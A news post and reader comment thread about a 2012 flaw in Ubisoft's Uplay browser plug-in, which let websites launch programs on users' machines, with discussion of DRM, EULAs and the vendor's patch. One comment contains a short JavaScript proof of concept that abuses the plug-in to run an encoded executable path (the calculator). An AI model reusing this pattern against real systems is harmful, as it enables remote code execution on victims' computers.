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Ubisoft Uplay DRM Found To Include a Rootkit
An anonymous reader writes "It has been discovered that the Uplay system Ubisoft uses to both check a game is legal and offer up gaming achievements, multiplayer, and additional content, actually contains a rootkit. The discovery was made by Tavis Ormandy, an information security engineer at Google, when he installed Assassin's Creed: Revelations on his laptop. He noticed that during the installation Uplay installed a browser plug-in that allows any website to gain access to your machine through a backdoor and take control of it.The plug-in can be classed as a rootkit because it is thought to allow continued privileged access to a machine without a user's consent."
Update: Ubisoft has released a statement saying it has issued a forced patch to correct the flaw in the browser plug-in for the Uplay PC application.
Update: Ubisoft has released a statement saying it has issued a forced patch to correct the flaw in the browser plug-in for the Uplay PC application.
Because it's missing from the summary and also the linked article, here's the initial report: http://seclists.org/fulldisclosure/2012/Jul/375
Technically, rootkit is the wrong term. It doesn't insert itself into the system, and it cannot execute code with privileges. It's still a security hole big enough to swallow small countries.
In what way?
You really think they did not include some fine print in the EULA about how the user was consenting to this?
An illegal action (not sure if this is or not) remains illegal, even if both parties agree to it.
Correct, in the UK at least, not sure about US law. For example, even if I agreed to work for less than minimum wage the employer is still breaking the law if they don't pay minimum wage, you can't sign away your legal rights. Also, they could be leaving themselves open to even bigger trouble - it could be argued that by doing this Ubisoft have taken responsibility for anything placed on the computer as a result and could be held legally responsible for anything found on it, such as malware or child porn.
Please consider this account deleted, I just can't be bothered with the spam anymore.
var x = document.createElement('OBJECT');
x.setAttribute("type", "application/x-uplaypc");
document.body.appendChild(x);
x.open("-orbit_product_id 1 -orbit_exe_path QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ== -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play")
Game sales are down for consoles maybe. With a bit of googling, you might find silly things like NVidia's 23% revenue growth attributed to PC gaming alone. And of course that Steam has 100% sales growth in 2012 over 2011. Oh and Diablo III selling like hotcakes. But hey, this profit growth is all because DRM is making people NOT buy games right?
uPlay update 2.0.4: 'Fix addressing browser plugin. Plugin now only able to open uPlay application.'
Well, that was fast.
You mean the EULA you are forced to agree to AFTER making the purchase? Null and void.
Seven puppies were harmed during the making of this post.
Steam doesn't limit the number of installs I can perform. It doesn't require me to be always online. It doesn't stop me from running games under wine[1]. It doesn't restrict me to only one or a few downloads of my purchase. Steam may be DRM, but as things go it is pretty reasonable.
I have had games limit me to 10 installs. Games with cruddy DRM that can't possibly function under wine. Others let me only download them once. I have fortunately never had to deal with the always online crap, unless by its very nature it was necessary for the game (MMORPG's, for example).
[1] Yes, I actually game using wine, so that is of value to me. I only run Linux at home. It's a pain in the butt for gaming, but it's how I do it.
Which is a perfect example of how the rich and powerful live by a different set of laws. If I put a root kit on Sony's computer, you'd better believe I'd have felony charges filed against me. If Sony puts a root kit on my computer, all they have to do is pay off some state AGs.
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